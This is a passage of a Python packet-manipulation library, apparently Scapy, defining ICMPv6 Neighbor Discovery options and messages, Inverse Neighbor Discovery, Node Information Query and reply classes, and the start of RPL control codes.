1921 TruncPktLenField("pkt", b"", IPv6,
1922 length_from=lambda pkt: 8 * pkt.len - 8)]
1924# See which value should be used for default MTU instead of 1280
1927class ICMPv6NDOptMTU(_ICMPv6NDGuessPayload, Packet):
1928 name = "ICMPv6 Neighbor Discovery Option - MTU"
1929 fields_desc = [ByteField("type", 5),
1930 ByteField("len", 1),
1931 XShortField("res", 0),
1932 IntField("mtu", 1280)]
1934 def mysummary(self):
1935 return self.sprintf("%name% %mtu%")
1938class ICMPv6NDOptShortcutLimit(_ICMPv6NDGuessPayload, Packet): # RFC 2491
1939 name = "ICMPv6 Neighbor Discovery Option - NBMA Shortcut Limit"
1940 fields_desc = [ByteField("type", 6),
1941 ByteField("len", 1),
1942 ByteField("shortcutlim", 40), # XXX
1943 ByteField("res1", 0),
1944 IntField("res2", 0)]
1947class ICMPv6NDOptAdvInterval(_ICMPv6NDGuessPayload, Packet):
1948 name = "ICMPv6 Neighbor Discovery - Interval Advertisement"
1949 fields_desc = [ByteField("type", 7),
1950 ByteField("len", 1),
1951 ShortField("res", 0),
1952 IntField("advint", 0)]
1954 def mysummary(self):
1955 return self.sprintf("%name% %advint% milliseconds")
1958class ICMPv6NDOptHAInfo(_ICMPv6NDGuessPayload, Packet):
1959 name = "ICMPv6 Neighbor Discovery - Home Agent Information"
1960 fields_desc = [ByteField("type", 8),
1961 ByteField("len", 1),
1962 ShortField("res", 0),
1963 ShortField("pref", 0),
1964 ShortField("lifetime", 1)]
1966 def mysummary(self):
1967 return self.sprintf("%name% %pref% %lifetime% seconds")
1969# type 9 : See ICMPv6NDOptSrcAddrList class below in IND (RFC 3122) support
1971# type 10 : See ICMPv6NDOptTgtAddrList class below in IND (RFC 3122) support
1974class ICMPv6NDOptIPAddr(_ICMPv6NDGuessPayload, Packet): # RFC 4068
1975 name = "ICMPv6 Neighbor Discovery - IP Address Option (FH for MIPv6)"
1976 fields_desc = [ByteField("type", 17),
1977 ByteField("len", 3),
1978 ByteEnumField("optcode", 1, {1: "Old Care-Of Address",
1979 2: "New Care-Of Address",
1980 3: "NAR's IP address"}),
1981 ByteField("plen", 64),
1982 IntField("res", 0),
1983 IP6Field("addr", "::")]
1986class ICMPv6NDOptNewRtrPrefix(_ICMPv6NDGuessPayload, Packet): # RFC 4068
1987 name = "ICMPv6 Neighbor Discovery - New Router Prefix Information Option (FH for MIPv6)" # noqa: E501
1988 fields_desc = [ByteField("type", 18),
1989 ByteField("len", 3),
1990 ByteField("optcode", 0),
1991 ByteField("plen", 64),
1992 IntField("res", 0),
1993 IP6Field("prefix", "::")]
1996_rfc4068_lla_optcode = {0: "Wildcard requesting resolution for all nearby AP",
1997 1: "LLA for the new AP",
1998 2: "LLA of the MN",
1999 3: "LLA of the NAR",
2000 4: "LLA of the src of TrSolPr or PrRtAdv msg",
2001 5: "AP identified by LLA belongs to current iface of router", # noqa: E501
2002 6: "No preifx info available for AP identified by the LLA", # noqa: E501
2003 7: "No fast handovers support for AP identified by the LLA"} # noqa: E501
2006class ICMPv6NDOptLLA(_ICMPv6NDGuessPayload, Packet): # RFC 4068
2007 name = "ICMPv6 Neighbor Discovery - Link-Layer Address (LLA) Option (FH for MIPv6)" # noqa: E501
2008 fields_desc = [ByteField("type", 19),
2009 ByteField("len", 1),
2010 ByteEnumField("optcode", 0, _rfc4068_lla_optcode),
2011 MACField("lla", ETHER_ANY)] # We only support ethernet
2014class ICMPv6NDOptMAP(_ICMPv6NDGuessPayload, Packet): # RFC 4140
2015 name = "ICMPv6 Neighbor Discovery - MAP Option"
2016 fields_desc = [ByteField("type", 23),
2017 ByteField("len", 3),
2018 BitField("dist", 1, 4),
2019 BitField("pref", 15, 4), # highest availability
2020 BitField("R", 1, 1),
2021 BitField("res", 0, 7),
2022 IntField("validlifetime", 0xffffffff),
2023 IP6Field("addr", "::")]
2026class _IP6PrefixField(IP6Field):
2027 __slots__ = ["length_from"]
2029 def __init__(self, name, default):
2030 IP6Field.__init__(self, name, default)
2031 self.length_from = lambda pkt: 8 * (pkt.len - 1)
2033 def addfield(self, pkt, s, val):
2034 return s + self.i2m(pkt, val)
2036 def getfield(self, pkt, s):
2037 tmp_len = self.length_from(pkt)
2038 p = s[:tmp_len]
2039 if tmp_len < 16:
2040 p += b'\x00' * (16 - tmp_len)
2041 return s[tmp_len:], self.m2i(pkt, p)
2043 def i2len(self, pkt, x):
2044 return len(self.i2m(pkt, x))
2046 def i2m(self, pkt, x):
2047 tmp_len = pkt.len
2049 if x is None:
2050 x = "::"
2051 if tmp_len is None:
2052 tmp_len = 1
2053 x = inet_pton(socket.AF_INET6, x)
2055 if tmp_len is None:
2056 return x
2057 if tmp_len in [0, 1]:
2058 return b""
2059 if tmp_len in [2, 3]:
2060 return x[:8 * (tmp_len - 1)]
2062 return x + b'\x00' * 8 * (tmp_len - 3)
2065class ICMPv6NDOptRouteInfo(_ICMPv6NDGuessPayload, Packet): # RFC 4191
2066 name = "ICMPv6 Neighbor Discovery Option - Route Information Option"
2067 fields_desc = [ByteField("type", 24),
2068 FieldLenField("len", None, length_of="prefix", fmt="B",
2069 adjust=lambda pkt, x: x // 8 + 1),
2070 ByteField("plen", None),
2071 BitField("res1", 0, 3),
2072 BitEnumField("prf", 0, 2, icmp6ndraprefs),
2073 BitField("res2", 0, 3),
2074 IntField("rtlifetime", 0xffffffff),
2075 _IP6PrefixField("prefix", None)]
2077 def mysummary(self):
2078 return self.sprintf("%name% %prefix%/%plen% Preference %prf%")
2081class ICMPv6NDOptRDNSS(_ICMPv6NDGuessPayload, Packet): # RFC 5006
2082 name = "ICMPv6 Neighbor Discovery Option - Recursive DNS Server Option"
2083 fields_desc = [ByteField("type", 25),
2084 FieldLenField("len", None, count_of="dns", fmt="B",
2085 adjust=lambda pkt, x: 2 * x + 1),
2086 ShortField("res", None),
2087 IntField("lifetime", 0xffffffff),
2088 IP6ListField("dns", [],
2089 length_from=lambda pkt: 8 * (pkt.len - 1))]
2091 def mysummary(self):
2092 return self.sprintf("%name% ") + ", ".join(self.dns)
2095class ICMPv6NDOptEFA(_ICMPv6NDGuessPayload, Packet): # RFC 5175 (prev. 5075)
2096 name = "ICMPv6 Neighbor Discovery Option - Expanded Flags Option"
2097 fields_desc = [ByteField("type", 26),
2098 ByteField("len", 1),
2099 BitField("res", 0, 48)]
2101# As required in Sect 8. of RFC 3315, Domain Names must be encoded as
2102# described in section 3.1 of RFC 1035
2103# XXX Label should be at most 63 octets in length : we do not enforce it
2104# Total length of domain should be 255 : we do not enforce it either
2107class DomainNameListField(StrLenField):
2108 __slots__ = ["padded"]
2109 islist = 1
2110 padded_unit = 8
2112 def __init__(self, name, default, length_from=None, padded=False): # noqa: E501
2113 self.padded = padded
2114 StrLenField.__init__(self, name, default, length_from=length_from)
2116 def i2len(self, pkt, x):
2117 return len(self.i2m(pkt, x))
2119 def i2h(self, pkt, x):
2120 if not x:
2121 return []
2122 return x
2124 def m2i(self, pkt, x):
2125 x = plain_str(x) # Decode bytes to string
2126 res = []
2127 while x:
2128 # Get a name until \x00 is reached
2129 cur = []
2130 while x and ord(x[0]) != 0:
2131 tmp_len = ord(x[0])
2132 cur.append(x[1:tmp_len + 1])
2133 x = x[tmp_len + 1:]
2134 if self.padded:
2135 # Discard following \x00 in padded mode
2136 if len(cur):
2137 res.append(".".join(cur) + ".")
2138 else:
2139 # Store the current name
2140 res.append(".".join(cur) + ".")
2141 if x and ord(x[0]) == 0:
2142 x = x[1:]
2143 return res
2145 def i2m(self, pkt, x):
2146 def conditionalTrailingDot(z):
2147 if z and z[-1] == 0:
2148 return z
2149 return z + b'\x00'
2150 # Build the encode names
2151 tmp = ([chb(len(z)) + z.encode("utf8") for z in y.split('.')] for y in x) # Also encode string to bytes # noqa: E501
2152 ret_string = b"".join(conditionalTrailingDot(b"".join(x)) for x in tmp)
2154 # In padded mode, add some \x00 bytes
2155 if self.padded and not len(ret_string) % self.padded_unit == 0:
2156 ret_string += b"\x00" * (self.padded_unit - len(ret_string) % self.padded_unit) # noqa: E501
2158 return ret_string
2161class ICMPv6NDOptDNSSL(_ICMPv6NDGuessPayload, Packet): # RFC 6106
2162 name = "ICMPv6 Neighbor Discovery Option - DNS Search List Option"
2163 fields_desc = [ByteField("type", 31),
2164 FieldLenField("len", None, length_of="searchlist", fmt="B",
2165 adjust=lambda pkt, x: 1 + x // 8),
2166 ShortField("res", None),
2167 IntField("lifetime", 0xffffffff),
2168 DomainNameListField("searchlist", [],
2169 length_from=lambda pkt: 8 * pkt.len - 8,
2170 padded=True)
2171 ]
2173 def mysummary(self):
2174 return self.sprintf("%name% ") + ", ".join(self.searchlist)
2177class ICMPv6NDOptCaptivePortal(_ICMPv6NDGuessPayload, Packet): # RFC 8910
2178 name = "ICMPv6 Neighbor Discovery Option - Captive-Portal Option"
2179 fields_desc = [ByteField("type", 37),
2180 FieldLenField("len", None, length_of="URI", fmt="B",
2181 adjust=lambda pkt, x: (2 + x) // 8),
2182 ICMPv6NDOptDataField("URI", "", strip_zeros=True,
2183 length_from=lambda pkt:
2184 8 * max(pkt.len, 1) - 2)]
2186 def mysummary(self):
2187 return self.sprintf("%name% %URI%")
2190class _PREF64(IP6Field):
2191 def addfield(self, pkt, s, val):
2192 return s + self.i2m(pkt, val)[:12]
2194 def getfield(self, pkt, s):
2195 return s[12:], self.m2i(pkt, s[:12] + b"\x00" * 4)
2198class ICMPv6NDOptPREF64(_ICMPv6NDGuessPayload, Packet): # RFC 8781
2199 name = "ICMPv6 Neighbor Discovery Option - PREF64 Option"
2200 fields_desc = [ByteField("type", 38),
2201 ByteField("len", 2),
2202 BitField("scaledlifetime", 0, 13),
2203 BitEnumField("plc", 0, 3,
2204 ["/96", "/64", "/56", "/48", "/40", "/32"]),
2205 _PREF64("prefix", "::")]
2207 def mysummary(self):
2208 plc = self.sprintf("%plc%") if self.plc < 6 else f"[invalid PLC({self.plc})]"
2209 return self.sprintf("%name% %prefix%") + plc
2211# End of ICMPv6 Neighbor Discovery Options.
2214class ICMPv6ND_RS(_ICMPv6NDGuessPayload, _ICMPv6):
2215 name = "ICMPv6 Neighbor Discovery - Router Solicitation"
2216 fields_desc = [ByteEnumField("type", 133, icmp6types),
2217 ByteField("code", 0),
2218 XShortField("cksum", None),
2219 IntField("res", 0)]
2220 overload_fields = {IPv6: {"nh": 58, "dst": "ff02::2", "hlim": 255}}
2223class ICMPv6ND_RA(_ICMPv6NDGuessPayload, _ICMPv6):
2224 name = "ICMPv6 Neighbor Discovery - Router Advertisement"
2225 fields_desc = [ByteEnumField("type", 134, icmp6types),
2226 ByteField("code", 0),
2227 XShortField("cksum", None),
2228 ByteField("chlim", 0),
2229 BitField("M", 0, 1),
2230 BitField("O", 0, 1),
2231 BitField("H", 0, 1),
2232 BitEnumField("prf", 1, 2, icmp6ndraprefs), # RFC 4191
2233 BitField("P", 0, 1),
2234 BitField("res", 0, 2),
2235 ShortField("routerlifetime", 1800),
2236 IntField("reachabletime", 0),
2237 IntField("retranstimer", 0)]
2238 overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1", "hlim": 255}}
2240 def answers(self, other):
2241 return isinstance(other, ICMPv6ND_RS)
2243 def mysummary(self):
2244 return self.sprintf("%name% Lifetime %routerlifetime% "
2245 "Hop Limit %chlim% Preference %prf% "
2246 "Managed %M% Other %O% Home %H%")
2249class ICMPv6ND_NS(_ICMPv6NDGuessPayload, _ICMPv6, Packet):
2250 name = "ICMPv6 Neighbor Discovery - Neighbor Solicitation"
2251 fields_desc = [ByteEnumField("type", 135, icmp6types),
2252 ByteField("code", 0),
2253 XShortField("cksum", None),
2254 IntField("res", 0),
2255 IP6Field("tgt", "::")]
2256 overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1", "hlim": 255}}
2258 def mysummary(self):
2259 return self.sprintf("%name% (tgt: %tgt%)")
2261 def hashret(self):
2262 return bytes_encode(self.tgt) + self.payload.hashret()
2265class ICMPv6ND_NA(_ICMPv6NDGuessPayload, _ICMPv6, Packet):
2266 name = "ICMPv6 Neighbor Discovery - Neighbor Advertisement"
2267 fields_desc = [ByteEnumField("type", 136, icmp6types),
2268 ByteField("code", 0),
2269 XShortField("cksum", None),
2270 BitField("R", 1, 1),
2271 BitField("S", 0, 1),
2272 BitField("O", 1, 1),
2273 XBitField("res", 0, 29),
2274 IP6Field("tgt", "::")]
2275 overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1", "hlim": 255}}
2277 def mysummary(self):
2278 return self.sprintf("%name% (tgt: %tgt%)")
2280 def hashret(self):
2281 return bytes_encode(self.tgt) + self.payload.hashret()
2283 def answers(self, other):
2284 return isinstance(other, ICMPv6ND_NS) and self.tgt == other.tgt
2286# associated possible options : target link-layer option, Redirected header
2289class ICMPv6ND_Redirect(_ICMPv6NDGuessPayload, _ICMPv6, Packet):
2290 name = "ICMPv6 Neighbor Discovery - Redirect"
2291 fields_desc = [ByteEnumField("type", 137, icmp6types),
2292 ByteField("code", 0),
2293 XShortField("cksum", None),
2294 XIntField("res", 0),
2295 IP6Field("tgt", "::"),
2296 IP6Field("dst", "::")]
2297 overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1", "hlim": 255}}
2300# ICMPv6 Inverse Neighbor Discovery (RFC 3122) #
2302class ICMPv6NDOptSrcAddrList(_ICMPv6NDGuessPayload, Packet):
2303 name = "ICMPv6 Inverse Neighbor Discovery Option - Source Address List"
2304 fields_desc = [ByteField("type", 9),
2305 FieldLenField("len", None, count_of="addrlist", fmt="B",
2306 adjust=lambda pkt, x: 2 * x + 1),
2307 StrFixedLenField("res", b"\x00" * 6, 6),
2308 IP6ListField("addrlist", [],
2309 length_from=lambda pkt: 8 * (pkt.len - 1))]
2312class ICMPv6NDOptTgtAddrList(ICMPv6NDOptSrcAddrList):
2313 name = "ICMPv6 Inverse Neighbor Discovery Option - Target Address List"
2314 type = 10
2317# RFC3122
2318# Options requises : source lladdr et target lladdr
2319# Autres options valides : source address list, MTU
2320# - Comme precise dans le document, il serait bien de prendre l'adresse L2
2321# demandee dans l'option requise target lladdr et l'utiliser au niveau
2322# de l'adresse destination ethernet si aucune adresse n'est precisee
2323# - ca semble pas forcement pratique si l'utilisateur doit preciser toutes
2324# les options.
2325# Ether() must use the target lladdr as destination
2326class ICMPv6ND_INDSol(_ICMPv6NDGuessPayload, _ICMPv6):
2327 name = "ICMPv6 Inverse Neighbor Discovery Solicitation"
2328 fields_desc = [ByteEnumField("type", 141, icmp6types),
2329 ByteField("code", 0),
2330 XShortField("cksum", None),
2331 XIntField("reserved", 0)]
2332 overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1", "hlim": 255}}
2334# Options requises : target lladdr, target address list
2335# Autres options valides : MTU
2338class ICMPv6ND_INDAdv(_ICMPv6NDGuessPayload, _ICMPv6):
2339 name = "ICMPv6 Inverse Neighbor Discovery Advertisement"
2340 fields_desc = [ByteEnumField("type", 142, icmp6types),
2341 ByteField("code", 0),
2342 XShortField("cksum", None),
2343 XIntField("reserved", 0)]
2344 overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1", "hlim": 255}}
2347###############################################################################
2348# ICMPv6 Node Information Queries (RFC 4620)
2349###############################################################################
2351# [ ] Add automatic destination address computation using computeNIGroupAddr
2352# in IPv6 class (Scapy6 modification when integrated) if :
2353# - it is not provided
2354# - upper layer is ICMPv6NIQueryName() with a valid value
2355# [ ] Try to be liberal in what we accept as internal values for _explicit_
2356# DNS elements provided by users. Any string should be considered
2357# valid and kept like it has been provided. At the moment, i2repr() will
2358# crash on many inputs
2359# [ ] Do the documentation
2360# [ ] Add regression tests
2361# [ ] Perform test against real machines (NOOP reply is proof of implementation). # noqa: E501
2362# [ ] Check if there are differences between different stacks. Among *BSD,
2363# with others.
2364# [ ] Deal with flags in a consistent way.
2365# [ ] Implement compression in names2dnsrepr() and decompresiion in
2366# dnsrepr2names(). Should be deactivable.
2368icmp6_niqtypes = {0: "NOOP",
2369 2: "Node Name",
2370 3: "IPv6 Address",
2371 4: "IPv4 Address"}
2374class _ICMPv6NIHashret:
2375 def hashret(self):
2376 return bytes_encode(self.nonce)
2379class _ICMPv6NIAnswers:
2380 def answers(self, other):
2381 return self.nonce == other.nonce
2383# Buggy; always returns the same value during a session
2386class NonceField(StrFixedLenField):
2387 def __init__(self, name, default=None):
2388 StrFixedLenField.__init__(self, name, default, 8)
2389 if default is None:
2390 self.default = self.randval()
2393@conf.commands.register
2394def computeNIGroupAddr(name):
2395 """Compute the NI group Address. Can take a FQDN as input parameter"""
2396 name = name.lower().split(".")[0]
2397 record = chr(len(name)) + name
2398 h = md5(record.encode("utf8"))
2399 h = h.digest()
2400 addr = "ff02::2:%2x%2x:%2x%2x" % struct.unpack("BBBB", h[:4])
2401 return addr
2404# Here is the deal. First, that protocol is a piece of shit. Then, we
2405# provide 4 classes for the different kinds of Requests (one for every
2406# valid qtype: NOOP, Node Name, IPv6@, IPv4@). They all share the same
2407# data field class that is made to be smart by guessing the specific
2408# type of value provided :
2409#
2410# - IPv6 if acceptable for inet_pton(AF_INET6, ): code is set to 0,
2411# if not overridden by user
2412# - IPv4 if acceptable for inet_pton(AF_INET, ): code is set to 2,
2413# if not overridden
2414# - Name in the other cases: code is set to 0, if not overridden by user
2415#
2416# Internal storage, is not only the value, but the a pair providing
2417# the type and the value (1 is IPv6@, 1 is Name or string, 2 is IPv4@)
2418#
2419# Note : I merged getfield() and m2i(). m2i() should not be called
2420# directly anyway. Same remark for addfield() and i2m()
2421#
2422# -- arno
2424# "The type of information present in the Data field of a query is
2425# declared by the ICMP Code, whereas the type of information in a
2426# Reply is determined by the Qtype"
2428def names2dnsrepr(x):
2429 """
2430 Take as input a list of DNS names or a single DNS name
2431 and encode it in DNS format (with possible compression)
2432 If a string that is already a DNS name in DNS format
2433 is passed, it is returned unmodified. Result is a string.
2434 !!! At the moment, compression is not implemented !!!
2435 """
2437 if isinstance(x, bytes):
2438 if x and x[-1:] == b'\x00': # stupid heuristic
2439 return x
2440 x = [x]
2442 res = []
2443 for n in x:
2444 termin = b"\x00"
2445 if n.count(b'.') == 0: # single-component gets one more
2446 termin += b'\x00'
2447 n = b"".join(chb(len(y)) + y for y in n.split(b'.')) + termin
2448 res.append(n)
2449 return b"".join(res)
2452def dnsrepr2names(x):
2453 """
2454 Take as input a DNS encoded string (possibly compressed)
2455 and returns a list of DNS names contained in it.
2456 If provided string is already in printable format
2457 (does not end with a null character, a one element list
2458 is returned). Result is a list.
2459 """
2460 res = []
2461 cur = b""
2462 while x:
2463 tmp_len = x[0]
2464 x = x[1:]
2465 if not tmp_len:
2466 if cur and cur[-1:] == b'.':
2467 cur = cur[:-1]
2468 res.append(cur)
2469 cur = b""
2470 if x and x[0] == 0: # single component
2471 x = x[1:]
2472 continue
2473 if tmp_len & 0xc0: # XXX TODO : work on that -- arno
2474 raise Exception("DNS message can't be compressed at this point!")
2475 cur += x[:tmp_len] + b"."
2476 x = x[tmp_len:]
2477 return res
2480class NIQueryDataField(StrField):
2481 def __init__(self, name, default):
2482 StrField.__init__(self, name, default)
2484 def i2h(self, pkt, x):
2485 if x is None:
2486 return x
2487 t, val = x
2488 if t == 1:
2489 val = dnsrepr2names(val)[0]
2490 return val
2492 def h2i(self, pkt, x):
2493 if x is tuple and isinstance(x[0], int):
2494 return x
2496 # Try IPv6
2497 try:
2498 inet_pton(socket.AF_INET6, x.decode())
2499 return (0, x.decode())
2500 except Exception:
2501 pass
2502 # Try IPv4
2503 try:
2504 inet_pton(socket.AF_INET, x.decode())
2505 return (2, x.decode())
2506 except Exception:
2507 pass
2508 # Try DNS
2509 if x is None:
2510 x = b""
2511 x = names2dnsrepr(x)
2512 return (1, x)
2514 def i2repr(self, pkt, x):
2515 t, val = x
2516 if t == 1: # DNS Name
2517 # we don't use dnsrepr2names() to deal with
2518 # possible weird data extracted info
2519 res = []
2520 while val:
2521 tmp_len = val[0]
2522 val = val[1:]
2523 if tmp_len == 0:
2524 break
2525 res.append(plain_str(val[:tmp_len]) + ".")
2526 val = val[tmp_len:]
2527 tmp = "".join(res)
2528 if tmp and tmp[-1] == '.':
2529 tmp = tmp[:-1]
2530 return tmp
2531 return repr(val)
2533 def getfield(self, pkt, s):
2534 qtype = getattr(pkt, "qtype")
2535 if qtype == 0: # NOOP
2536 return s, (0, b"")
2537 else:
2538 code = getattr(pkt, "code")
2539 if code == 0: # IPv6 Addr
2540 return s[16:], (0, inet_ntop(socket.AF_INET6, s[:16]))
2541 elif code == 2: # IPv4 Addr
2542 return s[4:], (2, inet_ntop(socket.AF_INET, s[:4]))
2543 else: # Name or Unknown
2544 return b"", (1, s)
2546 def addfield(self, pkt, s, val):
2547 if ((isinstance(val, tuple) and val[1] is None) or
2548 val is None):
2549 val = (1, b"")
2550 t = val[0]
2551 if t == 1:
2552 return s + val[1]
2553 elif t == 0:
2554 return s + inet_pton(socket.AF_INET6, val[1])
2555 else:
2556 return s + inet_pton(socket.AF_INET, val[1])
2559class NIQueryCodeField(ByteEnumField):
2560 def i2m(self, pkt, x):
2561 if x is None:
2562 d = pkt.getfieldval("data")
2563 if d is None:
2564 return 1
2565 elif d[0] == 0: # IPv6 address
2566 return 0
2567 elif d[0] == 1: # Name
2568 return 1
2569 elif d[0] == 2: # IPv4 address
2570 return 2
2571 else:
2572 return 1
2573 return x
2576_niquery_code = {0: "IPv6 Query", 1: "Name Query", 2: "IPv4 Query"}
2578# _niquery_flags = { 2: "All unicast addresses", 4: "IPv4 addresses",
2579# 8: "Link-local addresses", 16: "Site-local addresses",
2580# 32: "Global addresses" }
2582# "This NI type has no defined flags and never has a Data Field". Used
2583# to know if the destination is up and implements NI protocol.
2586class ICMPv6NIQueryNOOP(_ICMPv6NIHashret, _ICMPv6):
2587 name = "ICMPv6 Node Information Query - NOOP Query"
2588 fields_desc = [ByteEnumField("type", 139, icmp6types),
2589 NIQueryCodeField("code", None, _niquery_code),
2590 XShortField("cksum", None),
2591 ShortEnumField("qtype", 0, icmp6_niqtypes),
2592 BitField("unused", 0, 10),
2593 FlagsField("flags", 0, 6, "TACLSG"),
2594 NonceField("nonce", None),
2595 NIQueryDataField("data", None)]
2598class ICMPv6NIQueryName(ICMPv6NIQueryNOOP):
2599 name = "ICMPv6 Node Information Query - IPv6 Name Query"
2600 qtype = 2
2602# We ask for the IPv6 address of the peer
2605class ICMPv6NIQueryIPv6(ICMPv6NIQueryNOOP):
2606 name = "ICMPv6 Node Information Query - IPv6 Address Query"
2607 qtype = 3
2608 flags = 0x3E
2611class ICMPv6NIQueryIPv4(ICMPv6NIQueryNOOP):
2612 name = "ICMPv6 Node Information Query - IPv4 Address Query"
2613 qtype = 4
2616_nireply_code = {0: "Successful Reply",
2617 1: "Response Refusal",
2618 3: "Unknown query type"}
2620_nireply_flags = {1: "Reply set incomplete",
2621 2: "All unicast addresses",
2622 4: "IPv4 addresses",
2623 8: "Link-local addresses",
2624 16: "Site-local addresses",
2625 32: "Global addresses"}
2627# Internal repr is one of those :
2628# (0, "some string") : unknown qtype value are mapped to that one
2629# (3, [ (ttl, ip6), ... ])
2630# (4, [ (ttl, ip4), ... ])
2631# (2, [ttl, dns_names]) : dns_names is one string that contains
2632# all the DNS names. Internally it is kept ready to be sent
2633# (undissected). i2repr() decode it for user. This is to
2634# make build after dissection bijective.
2635#
2636# I also merged getfield() and m2i(), and addfield() and i2m().
2639class NIReplyDataField(StrField):
2641 def i2h(self, pkt, x):
2642 if x is None:
2643 return x
2644 t, val = x
2645 if t == 2:
2646 ttl, dnsnames = val
2647 val = [ttl] + dnsrepr2names(dnsnames)
2648 return val
2650 def h2i(self, pkt, x):
2651 qtype = 0 # We will decode it as string if not
2652 # overridden through 'qtype' in pkt
2654 # No user hint, let's use 'qtype' value for that purpose
2655 if not isinstance(x, tuple):
2656 if pkt is not None:
2657 qtype = pkt.qtype
2658 else:
2659 qtype = x[0]
2660 x = x[1]
2662 # From that point on, x is the value (second element of the tuple)
2664 if qtype == 2: # DNS name
2665 if isinstance(x, (str, bytes)): # listify the string
2666 x = [x]
2667 if isinstance(x, list):
2668 x = [val.encode() if isinstance(val, str) else val for val in x] # noqa: E501
2669 if x and isinstance(x[0], int):
2670 ttl = x[0]
2671 names = x[1:]
2672 else:
2673 ttl = 0
2674 names = x
2675 return (2, [ttl, names2dnsrepr(names)])
2677 elif qtype in [3, 4]: # IPv4 or IPv6 addr
2678 if not isinstance(x, list):
2679 x = [x] # User directly provided an IP, instead of list
2681 def fixvalue(x):
2682 # List elements are not tuples, user probably
2683 # omitted ttl value : we will use 0 instead
2684 if not isinstance(x, tuple):
2685 x = (0, x)
2686 # Decode bytes
2687 if isinstance(x[1], bytes):
2688 x = (x[0], x[1].decode())
2689 return x
2691 return (qtype, [fixvalue(d) for d in x])
2693 return (qtype, x)
2695 def addfield(self, pkt, s, val):
2696 t, tmp = val
2697 if tmp is None:
2698 tmp = b""
2699 if t == 2:
2700 ttl, dnsstr = tmp
2701 return s + struct.pack("!I", ttl) + dnsstr
2702 elif t == 3:
2703 return s + b"".join(map(lambda x_y1: struct.pack("!I", x_y1[0]) + inet_pton(socket.AF_INET6, x_y1[1]), tmp)) # noqa: E501
2704 elif t == 4:
2705 return s + b"".join(map(lambda x_y2: struct.pack("!I", x_y2[0]) + inet_pton(socket.AF_INET, x_y2[1]), tmp)) # noqa: E501
2706 else:
2707 return s + tmp
2709 def getfield(self, pkt, s):
2710 code = getattr(pkt, "code")
2711 if code != 0:
2712 return s, (0, b"")
2714 qtype = getattr(pkt, "qtype")
2715 if qtype == 0: # NOOP
2716 return s, (0, b"")
2718 elif qtype == 2:
2719 if len(s) < 4:
2720 return s, (0, b"")
2721 ttl = struct.unpack("!I", s[:4])[0]
2722 return b"", (2, [ttl, s[4:]])
2724 elif qtype == 3: # IPv6 addresses with TTLs
2725 # XXX TODO : get the real length
2726 res = []
2727 while len(s) >= 20: # 4 + 16
2728 ttl = struct.unpack("!I", s[:4])[0]
2729 ip = inet_ntop(socket.AF_INET6, s[4:20])
2730 res.append((ttl, ip))
2731 s = s[20:]
2732 return s, (3, res)
2734 elif qtype == 4: # IPv4 addresses with TTLs
2735 # XXX TODO : get the real length
2736 res = []
2737 while len(s) >= 8: # 4 + 4
2738 ttl = struct.unpack("!I", s[:4])[0]
2739 ip = inet_ntop(socket.AF_INET, s[4:8])
2740 res.append((ttl, ip))
2741 s = s[8:]
2742 return s, (4, res)
2743 else:
2744 # XXX TODO : implement me and deal with real length
2745 return b"", (0, s)
2747 def i2repr(self, pkt, x):
2748 if x is None:
2749 return "[]"
2751 if isinstance(x, tuple) and len(x) == 2:
2752 t, val = x
2753 if t == 2: # DNS names
2754 ttl, tmp_len = val
2755 tmp_len = dnsrepr2names(tmp_len)
2756 names_list = (plain_str(name) for name in tmp_len)
2757 return "ttl:%d %s" % (ttl, ",".join(names_list))
2758 elif t == 3 or t == 4:
2759 return "[ %s ]" % (", ".join(map(lambda x_y: "(%d, %s)" % (x_y[0], x_y[1]), val))) # noqa: E501
2760 return repr(val)
2761 return repr(x) # XXX should not happen
2763# By default, sent responses have code set to 0 (successful)
2766class ICMPv6NIReplyNOOP(_ICMPv6NIAnswers, _ICMPv6NIHashret, _ICMPv6):
2767 name = "ICMPv6 Node Information Reply - NOOP Reply"
2768 fields_desc = [ByteEnumField("type", 140, icmp6types),
2769 ByteEnumField("code", 0, _nireply_code),
2770 XShortField("cksum", None),
2771 ShortEnumField("qtype", 0, icmp6_niqtypes),
2772 BitField("unused", 0, 10),
2773 FlagsField("flags", 0, 6, "TACLSG"),
2774 NonceField("nonce", None),
2775 NIReplyDataField("data", None)]
2778class ICMPv6NIReplyName(ICMPv6NIReplyNOOP):
2779 name = "ICMPv6 Node Information Reply - Node Names"
2780 qtype = 2
2783class ICMPv6NIReplyIPv6(ICMPv6NIReplyNOOP):
2784 name = "ICMPv6 Node Information Reply - IPv6 addresses"
2785 qtype = 3
2788class ICMPv6NIReplyIPv4(ICMPv6NIReplyNOOP):
2789 name = "ICMPv6 Node Information Reply - IPv4 addresses"
2790 qtype = 4
2793class ICMPv6NIReplyRefuse(ICMPv6NIReplyNOOP):
2794 name = "ICMPv6 Node Information Reply - Responder refuses to supply answer"
2795 code = 1
2798class ICMPv6NIReplyUnknown(ICMPv6NIReplyNOOP):
2799 name = "ICMPv6 Node Information Reply - Qtype unknown to the responder"
2800 code = 2
2803def _niquery_guesser(p):
2804 cls = conf.raw_layer
2805 type = p[0]
2806 if type == 139: # Node Info Query specific stuff
2807 if len(p) > 6:
2808 qtype, = struct.unpack("!H", p[4:6])
2809 cls = {0: ICMPv6NIQueryNOOP,
2810 2: ICMPv6NIQueryName,
2811 3: ICMPv6NIQueryIPv6,
2812 4: ICMPv6NIQueryIPv4}.get(qtype, conf.raw_layer)
2813 elif type == 140: # Node Info Reply specific stuff
2814 code = p[1]
2815 if code == 0:
2816 if len(p) > 6:
2817 qtype, = struct.unpack("!H", p[4:6])
2818 cls = {2: ICMPv6NIReplyName,
2819 3: ICMPv6NIReplyIPv6,
2820 4: ICMPv6NIReplyIPv4}.get(qtype, ICMPv6NIReplyNOOP)
2821 elif code == 1:
2822 cls = ICMPv6NIReplyRefuse
2823 elif code == 2:
2824 cls = ICMPv6NIReplyUnknown
2825 return cls
2828#############################################################################
2829#############################################################################
2830# Routing Protocol for Low Power and Lossy Networks RPL (RFC 6550) #
2831#############################################################################
2832#############################################################################
2834# https://www.iana.org/assignments/rpl/rpl.xhtml#control-codes
2835rplcodes = {0: "DIS",
2836 1: "DIO",
2837 2: "DAO",
2838 3: "DAO-ACK",
2839 # 4: "P2P-DRO",
2840 # 5: "P2P-DRO-ACK",
2841 # 6: "Measurement",
2842 7: "DCO",
